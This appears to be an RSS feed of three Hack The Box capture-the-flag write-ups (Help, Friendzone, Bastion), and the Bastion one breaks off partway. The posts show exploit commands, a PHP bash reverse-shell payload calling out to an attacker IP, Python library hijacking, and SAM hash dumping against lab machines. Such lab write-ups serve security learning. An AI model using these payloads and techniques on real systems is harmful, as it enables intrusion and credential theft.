            <content:encoded><![CDATA[<p><strong>HELP</strong> was a very interesting and fun box to do. Though I personally felt a bit frustrating but for what it’s worth, it was altogether a really nice learning experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*M8JYraT3OrjJhmThhd_rTQ.png" /><figcaption>Hackthebox welcome page</figcaption></figure><h3>Let’s begin , Hack the planet….</h3><p><strong>Basic enumeration and port scanning:</strong></p><p>As usual I start my process by firing up nmap to see what all ports and services are running on this box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*ZwaVc_-GVBURSs5A50RPew.png" /><figcaption>nmap HELP output</figcaption></figure><p>I ran a full port scan in case if there are any other services running on unusual ports. However after the scan finishes, I could see that it has three services up and running.</p><p><strong>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| </strong>2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)<br>| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)<br>|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)<strong><br>80/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br></strong>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: Apache2 Ubuntu Default Page: It works<strong><br>3000/tcp open http Node.js Express framework<br></strong>|_http-title: Site doesn’t have a title (application/json; charset=utf-8).</p><p>So it has got web servers running on port 80, ssh on 22 and node.js running on 3000. Navigating to the ports 80 and 3000, i was greeted with the following web-page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*mlTFc9MySYrRgjOjgF63ag.png" /><figcaption>Port 80 web-page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*l0WqngnKgfURRWikjgSL7A.png" /><figcaption>Port 3000 web-page</figcaption></figure><p>Interesting. The info provided on the higher port says “<em>to get access, please find the credentials with the given query</em>”. It seems it is some kind of a data base which will yield the required credentials when correct queries are submitted in the address bar. Doing a quick google search with “query server node js” retrieves different ways in which databases can be made for node.js express framework. Also since the higher port delivers output in json format, I came across <strong>graphQL</strong> which is used to design databases for node.js express framework. Now looking for the required queries to be passed (on graphQL <a href="https://devhints.io/graphql">cheatsheet</a>), there were a few interesting ones like <strong>{user{id}}</strong> or <strong>{user{password}}</strong> or <strong>{user{me}}</strong> or <strong>{user{login}}</strong> etc.</p><p>I tried each of them and supplied these queries in the URL as such:</p><p><a href="http://10.10.10.121:3000/graphql?query={user{password}}"><strong>http://10.10.10.121:3000/graphql?query={user{password}}</strong></a><strong> </strong>or <br><strong>http://10.10.10.121:3000/graphql?query={user{username,password}}</strong></p><p>These queries returned the required credentials for login(which I discovered later).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*EOKFK8tIMYVtk0tk4wpyPg.png" /><figcaption>Login creds</figcaption></figure><p>So I am supposed to login somewhere using these credentials. Also before that i will have to crack the md5 hashed password. <a href="https://www.md5online.org/">md5online</a> is my place to go to whenever it comes to crack any md5 hashes. cracking this hash we get the following password <em>godhelpmeplz.</em></p><p>Now, i ran the gobuster on port 80 to see if i could find any login forms or any other place to supply these credentials.</p><p><strong>root@kali:~/HackTheBox/machines/help# gobuster -u </strong><a href="http://10.10.10.121/"><strong>http://10.10.10.121</strong></a><strong> -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</strong></p><p>The output of which were:</p><p><strong>root@kali:~/HackTheBox/machines/help# cat help_webscan <br>/support (Status: 301)<br>/javascript (Status: 301)</strong></p><p>So it has got something like support directory, which is unusal. Navigating to <a href="http://10.10.10.121/support,">http://10.10.10.121/support,</a> the following web-page was there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*i_lkvcc8dozu1ZBVrOfXeQ.png" /><figcaption>Support login</figcaption></figure><p>After supplying the obtained credentials, i was logged in to this. To me it appeared to be some kind of help and support centre, where i can upload my issues and get a ticket-id for my problem. So basically I can upload a file, that is it can be exploited to get RCE by uploading a php-reverse-shell file. All i need to do is to upload that php file and later on access it to get a callback.</p><p>But this wasn’t so easy, as the moment i hit upload for php file, i get an error message saying “File not allowed” that is it restricts us from uploading a php file. Searching about <strong>helpdeskz , </strong>it<strong> </strong>appeared that it is a free open source PHP based web-ticketing software. I looked for its <a href="https://github.com/evolutionscript/HelpDeskZ-1.0">source code</a> on git-hub to know what all file extensions are allowed and where it will be saved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*RCiOgpMEgeASMDZE32-Dqg.png" /><figcaption>helpdeksz source code</figcaption></figure><p>There were three important observations.</p><p><strong>First, it is encrypting the file name using md5 hashing algo. The name to be encrypted consists of file name and the current time as well.</strong></p><p><strong>Second, the file is uploaded in /uploads/tickets/ .</strong></p><p><strong>Third, the file format check is done after the code for uploading file is executed which means that even though it says file not allowed, it has successfully uploaded the file and it’s present there in /uploads/tickets/. So that error was fake and i was successful in uploading my file.</strong></p><p>Now i can upload my file and access it to get a reverse shell. But the file name will be encrypted and so we can’t access the file using it’s original name. Searching for <strong>helpdeskz exploits</strong>, i came across the <a href="https://www.exploit-db.com/exploits/40300">arbitrary file upload</a> on helpdeskz.</p><p><strong>Getting a reverse shell and user.txt file:</strong></p><p>I uploaded the <strong>php-reverse-shell.php</strong> file, got error message, ignored it, started the netcat listener on port 1234, and executed the exploit. But to my surprise, the exploit failed without giving any shell. After trying to execute the exploit for 2–3 times and getting failed in grabbing any shell, i started going through the exploit. <strong>Two places where i was making a huge mistake, first the file was uploaded into /uploads/tickets/ directory and the script was looking for it in /uploads/tickets i.e., it was directly appending the encrypted file name after /tickets so it was unable to find the file. Also since the source code on git hub revealed that it used .time() function of php to hash the file name, and the exploit script was looking for time in range (0, VALUE), which eventually means that script and upload should be executed at the same instant of time, without any delay. But that’s not possible so i adjusted the script range to (-300,600) i.e., a time duration of 900 seconds or 15 mins. So now, even if exploits and upload aren’t done simultaneously, the script will grab the md5 hash and we can get our shell.</strong></p><p>so now my exploit command was like:</p><p><strong>root@kali:~/HackTheBox/machines/help# python 40300.py </strong><a href="http://10.10.10.121/support/uploads/tickets/">http://10.10.10.121/support/uploads/tickets/</a><strong> php-reverse-shell.php</strong></p><p><em>(notice the trailing slash ‘/’ at the end of tickets).</em></p><p>i started my listener before uploading the file, uploaded the file and executed the script. After waiting for a while i got the file name to be accessed and directly got a reverse shell on my netcat listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*tEm0RITF6nO2DD03C4Y3IQ.png" /><figcaption>help reverse shell</figcaption></figure><p>The first thing which I always do after getting a shell is to spawn a tty shell using python i.e., <strong>python -c ‘import pty;pty.spawn(“/bin/bash”)’.</strong></p><p>Now i navigated to cd /home/help and got the user.txt file there, executed cat user.txt and got the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*mnDf15i-YB7dKGCPjGG9aQ.png" /><figcaption>owned user</figcaption></figure><p><strong>Getting root access:-</strong></p><p>Now moving ahead to get root access on this box, i ran the Linenum.sh script to enumerate the processes and any other vulnerabilities. The first info which was passed by the script was the <strong>uname -a</strong> output that is the distro and kernel version</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*onpmbvSZxW6aBwBJjhRsiA.png" /><figcaption>local enumeration results</figcaption></figure><p>Doing a quick google search about the given kernel and distro version, i got a link to <a href="https://www.exploit-db.com/exploits/44298">local privilege escalation</a><strong> </strong>exploit on exploit-db. I simply downloaded the exploit on the box, compiled it and executed it. The exploit directly spawned the root shell and i got the root access on the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*9lWg4zPeVuC86rVXAzR8tg.png" /><figcaption>root flag</figcaption></figure><p>So, that was it. getting the user flag was all you need to think for . After that getting the root access was pretty straight forward.</p><p>However there were other ways too to root this box, which require a bit of further enumeration. Try to look for it by yourself. Also ssh port was open on this box. See if you can find other possible ways to root this box using ssh.</p><h3>KEEP HACKING!!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37c2acb01922" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[‘“Friendzone” Hackthebox write-up’:-]]></title>
            <link>https://plusx0x07.medium.com/friendzone-hackthebox-write-up-2cc2f8e0cd26?source=rss-1c37aae669eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/2cc2f8e0cd26</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[+X]]></dc:creator>
            <pubDate>Sun, 02 Jun 2019 18:48:49 GMT</pubDate>
            <atom:updated>2019-06-02T18:48:49.399Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This was a typical linux(openBSD)box which require quite a good amount of enumeration. Overall, this was quite an interesting box to do and it teaches you a lot about DNS, zone-transfer, and python library hijacking to obtain root on the box.The root part was pretty interesting and one get to know about infamous vulnerability in the way python language execute a script, which is further exploited to gain root over this box.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JLjHGw8FO2tiiPYMjiBdeQ.jpeg" /><figcaption>HTB logo.</figcaption></figure><h3>Basic enumeration:-</h3><h4>Port scanning:</h4><p>As usual we start with a full port nmap scan on the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_OAfXkyA1pTnt0tt5brEAw.png" /><figcaption>nmap scan output</figcaption></figure><p>As it is clear from the scan results, that it has got SMB port open, so i will be connecting to this port and see what else is lying there. Executing the following command will list all the open SMB and their permissions.</p><p><strong><em>smbmap -H 10.10.10.123 -u root -p 445</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tKctIfvzt8tME72h86851Q.png" /><figcaption>smbmap output on port 445</figcaption></figure><p>So, the <strong>Development share has read/write access and general has read-only access.</strong> I will be connecting to general and then Development share to see if i could find anything interesting. Also in background I have executed a nmap script to enumerate the details of all shares on the SMB on port 445.</p><pre>nmap --script smb-enum-users.nse -p139 10.10.10.123 </pre><p>The output of this command helped me to determine the path where the file be stored if I upload anything to the box via SMB using curl.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LYLu-Tf6cJzjvHvFHNiXJQ.png" /><figcaption>nmap smb-enum-shares output</figcaption></figure><p><em>So whatever I upload to Development share will be stored in /etc/Development.</em></p><h4>SMB file upload:</h4><p>Now, I also have read access to Development and general share, so I will be connecting via smbclient to see if I could find anything interesting there.</p><blockquote>root@kali:~/HackTheBox/machines/friendzone# smbclient //10.10.10.123/general -u root<br>Try “help” to get a list of possible commands.<br>smb: \&gt; ls<br> . D 0 Thu Jan 17 01:40:51 2019<br> .. D 0 Thu Jan 24 03:21:02 2019<br> creds.txt N 57 Wed Oct 10 05:22:42 2018<br>get<br> 9221460 blocks of size 1024. 6076468 blocks available<br>smb: \&gt; get creds.txt <br>getting file \creds.txt of size 57 as creds.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)<br>smb: \&gt; ^C<br><strong>root@kali:~/HackTheBox/machines/friendzone# cat creds.txt <br>creds for the admin THING:</strong></blockquote><blockquote><strong>admin:WORKWORKHhallelujah@#</strong></blockquote><blockquote>root@kali:~/HackTheBox/machines/friendzone#</blockquote><p>In general share I found a credential which says that these creds are for some ‘admin thing’ which looks like it is the login creds for administrator.</p><p>Now I need to find the login page to supply those creds. This box has DNS server running on it which can be verified by looking over the nmap scan results. But there are two different domains — <strong>friendzone.red and friendzoneportal.red .</strong></p><p>I got to know about the <strong>friendzoneportal.red</strong> domain by visiting the port 80 in browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*df5_coXFpgJazPedLmpdAg.png" /><figcaption>port 80 output</figcaption></figure><h4>Zone transfer:</h4><p>I will be doing a lookup over these two zones only to see if it leaks something important. If yes, then I will be doing <strong>zone transfer</strong> to acces those sub-domains. The command for the same is :</p><p><strong>dig axfr </strong><a href="http://twitter.com/10"><strong>&lt;subdomain&gt;@10</strong></a><strong>.10.10.123</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*69sFkTmV7v66_apTuBrGmw.png" /><figcaption>zone transfer esults</figcaption></figure><h4>Getting user:</h4><p>So I have got two admin domains, <strong>admin.friendzoneportal.red and administrator1.friendzone.red</strong>. Adding these two domains to /etc/hosts file and accessing them one by one and supplying the creds obtained earlier, I got to know that the initial domain is just a rabbit hole. It will as you for creds and after you input one, it says that page is not developed yet. Heading over to the later one, it seems legit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YrWvdkwWr7el8MXhP5dE5A.png" /><figcaption>login page for admin</figcaption></figure><p>After logging in successfully, it shows a message to navigate to dashboard.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XmKgAYC_uvcrcvO3uBB_sA.png" /><figcaption>dashboard.php</figcaption></figure><p>There it explains how to access an image after uploading it. The image can be uploaded from <strong>uploads.friendzone.red </strong>subdomain . But I chose SMB to upload files as I don’t know where that uploaded image will be saved. So I opted for SMB file upload method as I knew that it will be saved in <strong>/etc/Development .</strong></p><p>The file which I chose to upload was a one-liner bash shell, executed via php.</p><blockquote>&lt;?php<br>exec(“/bin/bash -c ‘bash -i &gt;&amp; /dev/tcp/10.10.14.48/1234 0&gt;&amp;1’”);<br>phpinfo();<br>?&gt;</blockquote><p>The file can be uploaded by using this command.</p><p>curl --upload-file /path/to/file.ext -u &#39;DOMAIN\Username&#39; smb://172.16.17.52/ShareName/</p><p>In this the command resorts to:</p><p>curl --upload-file phpinfo.php -u &#39;root&#39; smb://10.10.10.123/Development/</p><p>It can be confirmed that file is uploaded by connectig to the SMB on port 445. Also the curl asks for root password while uploading, which is , by default, blank. So just hit enter and it will upload the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rzl5Hk1BNeXj0cm2pwsojQ.png" /><figcaption>uploding my php reverse shell</figcaption></figure><p>So, there are couple of other shells too. To get my shell, I will have to access that file , phpinfo.php in a web browser. While accessing dashboard.php, there was a hint on how to access the file.</p><blockquote>please enter it to show the image</blockquote><blockquote>default is image_id=a.jpg&amp;pagename=timestamp</blockquote><p>Also it is a LFI(Local File Inclusion), so it can be accessed by navigating to the folder where it has been uploaded. Note that there is no need to append the extension <strong><em>.php </em></strong>in URL.</p><p>The file can be accessed by:</p><blockquote><a href="https://administrator1.friendzone.red/dashboard.php?image_id=b.jpg&amp;pagename=/etc/Development/phpinfo">https://administrator1.friendzone.red/dashboard.php?image_id=b.jpg&amp;pagename=/etc/Development/phpinfo</a></blockquote><p>This will give us the callback of my php reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*jUCfAtQxMvQBqxKmm37_bg.png" /><figcaption>reverse shell callback</figcaption></figure><p>The user hash can be obtained from reverse shell only.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*2jQgQR302uJ7-iIxYMfW9w.png" /><figcaption>user hash</figcaption></figure><h4>Getting root:</h4><p>Navigating through the directories of www-data in reverse shell, there is a mysql configuration file in <strong>/var/www .</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*uJWBEOuIH0HZ2xRX_0Sa6A.png" /><figcaption>ssh credentials</figcaption></figure><p>So I can now ssh over the box and can have an actual tty shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*abFx_EjkDFthGUFeEEqt-Q.png" /><figcaption>ssh user hash</figcaption></figure><p>I could have received the user hash via ssh also. However now I need to enumerate for processes and tasks running in the background. There is an excellent script for the same , pspy. It comes in both variant, 32-bit and 64-bit.</p><p><a href="https://github.com/DominicBreuker/pspy">GitHub - DominicBreuker/pspy: Monitor linux processes without root permissions</a></p><p>One can also download the 64-bit binary so that compilation process is skipped.</p><p><a href="https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64">https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64</a></p><p>I downloaded the binary and transferred it to the box via wget. Giving it the required permission to execute, (<strong><em>chmod a+x pspy64</em></strong>) and executing it(<strong><em>./pspy64</em></strong>), it started listing all the running and newly spwaned processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*JAxmiCNXqkmO2lSAyi2GKQ.png" /><figcaption>pspy output</figcaption></figure><p>Cool. Now I need to kee a watch over the processes which are running or if any unusual task/process/script is spawned/executed. After a minute or two, a python script is executed by root which is a bit strange.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*Lf7v07SyAWXGnlZEcQPi_g.png" /><figcaption>reporter.py python file</figcaption></figure><p>heading over to the location where this file is saved( /opt/server_admin), and looking into the script, it appears that it is an incomplete file which doesn’t do anything other than importing a python library , OS module. So I can exploit this to get root.</p><h4>Python library hijacking:</h4><blockquote>friend@FriendZone:/opt/server_admin$ cat reporter.py <br>#!/usr/bin/python</blockquote><blockquote><strong>import os</strong></blockquote><blockquote>to_address = “<a href="/service/mailto:admin1@friendzone.com">admin1@friendzone.com</a>”<br>from_address = “<a href="/service/mailto:admin2@friendzone.com">admin2@friendzone.com</a>”</blockquote><blockquote>print “[+] Trying to send email to %s”%to_address</blockquote><blockquote>#command = ‘’’ mailsend -to <a href="/service/mailto:admin2@friendzone.com">admin2@friendzone.com</a> -from <a href="/service/mailto:admin1@friendzone.com">admin1@friendzone.com</a> -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass “PAPAP”’’’</blockquote><blockquote>#os.system(command)</blockquote><blockquote># I need to edit the script later<br># Sam ~ python developer</blockquote><p><strong>Other than <em>import os</em> , every other command is commented out so the script doesn’t do anything effectively. I can hijack the OS module in python 2.7 (which is clear from the first line that it is executed using python 2.7) to execute the arbitrary code. I need to look for permission and the directories where os.py of python2.7 version is installed.</strong></p><p><a href="https://rastating.github.io/privilege-escalation-via-python-library-hijacking/">Privilege Escalation via Python Library Hijacking</a></p><p>Locating and searching for the python 2.7 directory, I found it in /usr/lib/python2.7. The permission were 777.</p><p><strong>drwxrwxrwx 27 root root 16K Jun 2 20:21 python2.7</strong></p><p>The permission of os mudule was:</p><p><strong>rwxrwxr-x 1 friend friend 26K Jun 2 21:33 os.py</strong></p><p>It can be edited by the current user that is friend. All I need to do is to inject the code to copy the root.txt file to somewhere else such as /tmp directory and get the root shell.</p><p>I injected the following line in os.py file at the end.</p><p><strong>system(“cp /root/root.txt /tmp/root1.txt”)</strong></p><p>Now I have to wait for the cron job to execute reporter.py file and then the root hash will be copied in /tmp directory by the name of root1.txt.</p><p>After few minutes, the file is executed as before by the cron jobs and the root hash is copied in /tmp directory.</p><p><strong>rw-r — r — 1 root root 33 Jun 2 21:38 root1.txt</strong></p><p><strong>friend@FriendZone:/tmp$ wc -c root1.txt <br>33 root1.txt</strong></p><p>So this is it . We get the root hash. Also, FYI, the os.py module can be injected with other commands too to get root shell, but I found this method a bit straght forward.</p><p>The root part was really awesome.</p><p>If you find this write-up praise worthy, you can clap for me. I won’t mind.</p><h3>Till then, HACK THE PLANET !!!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2cc2f8e0cd26" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[“Bastion” hackthebox write-up:]]></title>
            <link>https://plusx0x07.medium.com/bastion-hackthebox-write-up-766ae64eef1b?source=rss-1c37aae669eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/766ae64eef1b</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[+X]]></dc:creator>
            <pubDate>Tue, 14 May 2019 19:38:54 GMT</pubDate>
            <atom:updated>2019-12-06T20:57:41.561Z</atom:updated>
            <content:encoded><![CDATA[<p>Bastion was a windows box on <a href="https://www.hackthebox.eu/"><em>hackthebox</em></a><em> . </em>This was my second windows box after netmon, and in my personal opinion i need to brush up my skills on windows. Moving on, let’s see what this box has us to offer and what all we could learn from it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JLjHGw8FO2tiiPYMjiBdeQ.jpeg" /><figcaption>hackthebox logo</figcaption></figure><h3>Basic enumeration and scanning:-</h3><p>As usual I started with full port scan via nmap on the box. It’s my habit to <strong>always</strong> go for the full port scan as sometimes there are are services running on unusual ports, and one might miss them in regular scan.</p><p>nmap command:</p><h4>nmap -sC -sV -p- -T4 -oA bastion 10.10.10.134</h4><p>nmap output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qZgXOGzjSNnpZAYUQaf2vw.png" /><figcaption>nmap full port scan output</figcaption></figure><p>As is clearly visible, most of the higher ports are either filtered or if opened, the services running on them aren’t indetified by the nmap. However the peculiar services running on the box are on <strong>port 22, 135, 139, 445</strong>. Also the service running on port 445 i.e <strong>microsoft</strong>-ds, it is used by windows to share files via <strong>SMB</strong> . Also, since it’s open, i am gonna try to connect it to via <strong>smbclient</strong> in kali linux.</p><h4><strong>smb enumeration:-</strong></h4><p>smbclient -L 10.10.10.134</p><ul><li>L → host ip address.</li></ul><p>This command checks for the shared resources on smb. It asked for the password, which in most of the cases is blank, so just hit enter.</p><p>output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*zLRsfV8Bq0oqA4-a7MLJtg.png" /><figcaption>smbclient resource query</figcaption></figure><p>Interesting, there is a backup drive there and it’s openly available for sharing. Let’s connect to the <strong>Backups</strong> drive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5bftwz2pGR8hnKrIFnCnVQ.png" /><figcaption>enumerating the backups drive.</figcaption></figure><p>We have got WindowsImageBackup folder there. let’s get into that to see if we could find something useful. Also we could just navigate through each folder just as we do in ssh or ftp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g6ieOdgz6C_D526XuK1ZKQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WvbbW7vVTYZYOMFp2bO5FA.png" /><figcaption>navigating inside the backups drive via SMB</figcaption></figure><p>So, we have got .vhd files which are actually OS image, so either one can download it, mount it and then enumerate it locally to find any critical piece of information.</p><p>Or, Alternatively, one can mount it over the network. Just like we do in network shared folders, but it will be slow. Still i prefer to mount it because these files are too large to download, as we will see later.</p><p><em>Just to let you know, if we choose to mount it over the network, then we will have to mount the backups drive first to access all it’s contents and then we will have to mount the .vhd files separately to freely explore the image file.</em></p><p><strong>mount command:-</strong></p><pre>mount -t cifs -o username=root  //10.10.10.134/Backups /mnt/</pre><p>It will mount the whole Backups drive locally to the /mnt folder. You can choose any folder you wish, doesn’t really matter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZlGa_UmjyWZrAV8orLdozQ.png" /><figcaption>navigating into the backups drive after mounting it locally</figcaption></figure><p>now running a quick <strong>ls -lah *</strong> , we can gather info about files/folders, their size.</p><blockquote>root@kali:/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019–02–22 124351# ls -lah *<br><strong>-rwxr-xr-x 1 root root 37M May 14 22:04 9b9cfbc3–369e-11e9-a17c-806e6f6e6963.vhd<br>-rwxr-xr-x 1 root root 5.1G May 14 22:26 9b9cfbc4–369e-11e9-a17c-806e6f6e6963.vhd</strong><br>-rwxr-xr-x 1 root root 1.2K Feb 22 18:15 BackupSpecs.xml<br>-rwxr-xr-x 1 root root 1.1K Feb 22 18:15 cd113385–65ff-4ea2–8ced-5630f6feca8f_AdditionalFilesc3b9f3c7–5e52–4d5e-8b20–19adc95a34c7.xml<br>-rwxr-xr-x 1 root root 8.8K Feb 22 18:15 cd113385–65ff-4ea2–8ced-5630f6feca8f_Components.xml<br>-rwxr-xr-x 1 root root 6.4K Feb 22 18:15 cd113385–65ff-4ea2–8ced-5630f6feca8f_RegistryExcludes.xml<br>-rwxr-xr-x 1 root root 2.9K Feb 22 18:15 cd113385–65ff-4ea2–8ced-5630f6feca8f_Writer4dc3bdd4-ab48–4d07-adb0–3bee2926fd7f.xml<br>-rwxr-xr-x 1 root root 1.5K Feb 22 18:15 cd113385–65ff-4ea2–8ced-5630f6feca8f_Writer542da469-d3e1–473c-9f4f-7847f01fc64f.xml<br>-rwxr-xr-x 1 root root 1.5K Feb 22 18:15 cd113385–65ff-4ea2–8ced-5630f6feca8f_Writera6ad56c2-b509–4e6c-bb19–49d8f43532f0.xml<br>-rwxr-xr-x 1 root root 3.8K Feb 22 18:15 cd113385–65ff-4ea2–8ced-5630f6feca8f_Writerafbab4a2–367d-4d15-a586–71dbb18f8485.xml<br>-rwxr-xr-x 1 root root 3.9K Feb 22 18:15 cd113385–65ff-4ea2–8ced-5630f6feca8f_Writerbe000cbe-11fe-4426–9c58–531aa6355fc4.xml<br>-rwxr-xr-x 1 root root 7.0K Feb 22 18:15 cd113385–65ff-4ea2–8ced-5630f6feca8f_Writercd3f2362–8bef-46c7–9181-d62844cdc0b2.xml<br>-rwxr-xr-x 1 root root 2.3M Feb 22 18:15 cd113385–65ff-4ea2–8ced-5630f6feca8f_Writere8132975–6f93–4464-a53e-1050253ae220.xml</blockquote><blockquote>9b9cfbc4–369e-11e9-a17c-806e6f6e6963.vhd.lck:<br>total 8.5K<br>drwxr-xr-x 2 root root 0 May 14 21:08 .<br>drwxr-xr-x 2 root root 8.0K May 14 21:08 ..<br>drwxr-xr-x 2 root root 0 May 14 21:08 D04353.lck<br>-rwxr-xr-x 1 root root 512 May 14 21:08 E04353.lck</blockquote><p>As you can see, the size of the .vhd files, 5.1 GB and 37 MB. This is the soul reason i avoided downloading them and went for mounting it over the network.</p><p>Now we will have to mount the .vhd files separately to access it.<strong> I actually tried to access it via VM. My advice NEVER DO THAT AS YOU WILL END UP DESTROYING YOUR VBOX. damn!! It actually corrupted my vbox by removing a kernel module named “vboxdrv”…..</strong></p><p>I am gonna use nbd module (network block device, yes, i am gonna mount it over the network).</p><p><a href="https://bethesignal.org/blog/2011/01/05/how-to-mount-virtualbox-vdi-image/">How to mount a VirtualBox VDI image - Be the signal</a></p><p>This is the link which guides how to do that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZyYvH__ohTqWBA3-EY971g.png" /><figcaption>navigating inside .vhd files</figcaption></figure><p>After mounting 5.1 gb .vhd file as directed in the above blog post,we can navigate inside the image and can succesfully access the contents.<br><strong>keep in mind that you HAVE to mount it in ‘read only’ mode to make it work. Refer qemu-nbd -h’ on how to mount in read only mode.</strong></p><p><strong>Now in a windows system, the credentials are stored in /Windows/System32/config directory. In this direcory, there is a SAM file and SYSTEM file which stores the passwords and other credentials in hashed form.</strong></p><p>To dump those hashes, the linux command is:</p><p><em>samdump2 SYSTEM bootkey</em></p><p>This will get you all the stored credentials in hashed form.</p><blockquote>root@kali:~/HackTheBox/machines/bastion# cat user_hash <br>*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::</blockquote><p>So there is the hashed password for user L4mpje. I will be using a website to crack this hash and obtain the clear-text password.</p><p><a href="https://hashkiller.co.uk/Cracker">Hash Cracker Page - Over 312.072 billion cracked hashes - HashKiller.co.uk</a></p><p>cracking the L4mpj hash (26112010952d963c8dc4217daec986d9), we got the clear text password for L4mpje user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vqzv0h-I7rjgyOwOuw8TMQ.png" /><figcaption>cleartext password for user L4mpje</figcaption></figure><p>The only place where this password can be supplied is ssh login we saw earlier in nmap scan output. Connecting via ssh to user L4mpje…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vVHM7qyCQbiAwLF1NA5QUQ.png" /><figcaption>navigating via ssh in L4mpje home folder</figcaption></figure><p><strong>we got the user hash as user.txt. To view a text file in windows cmd, enter type user.txt</strong></p><h3>Getting root access:-</h3><p>Now we gotta navigate each directory (including hidden ones) to get to root. <strong>In windows cmd, hidden directories can be seen by dir /adh command .</strong></p><p>Now, from here the only method to get root is enumeration, so you gotta explore each and every folder in the user L4mpje home directory. To see th structure of such a big folder, i use tree command to get a complete file structure.</p><p>The password for installed programs and their configurations in windows are stored in /appdata/Roaming directory. So navigating to /Appdata/Roaming.</p><blockquote>l4mpje@BASTION C:\Users\L4mpje\AppData\Roaming&gt;dir <br> Volume in drive C has no label. <br> Volume Serial Number is 0CB3-C487</blockquote><blockquote>Directory of C:\Users\L4mpje\AppData\Roaming</blockquote><blockquote>22–02–2019 15:01 &lt;DIR&gt; . <br>22–02–2019 15:01 &lt;DIR&gt; .. <br>22–02–2019 14:50 &lt;DIR&gt; Adobe <br>22–02–2019 15:03 &lt;DIR&gt; mRemoteNG <br> 0 File(s) 0 bytes <br> 4 Dir(s) 11.383.197.696 bytes free</blockquote><blockquote>l4mpje@BASTION C:\Users\L4mpje\AppData\Roaming&gt;</blockquote><p>All the installed programs are listed in this direcory, among which <em>mRemoteNG</em> is a bit suspicious because it’s not a regular program which the user will install. Googling about it, we come to know that it’s a remote connection manager to manage RDP, VNC and 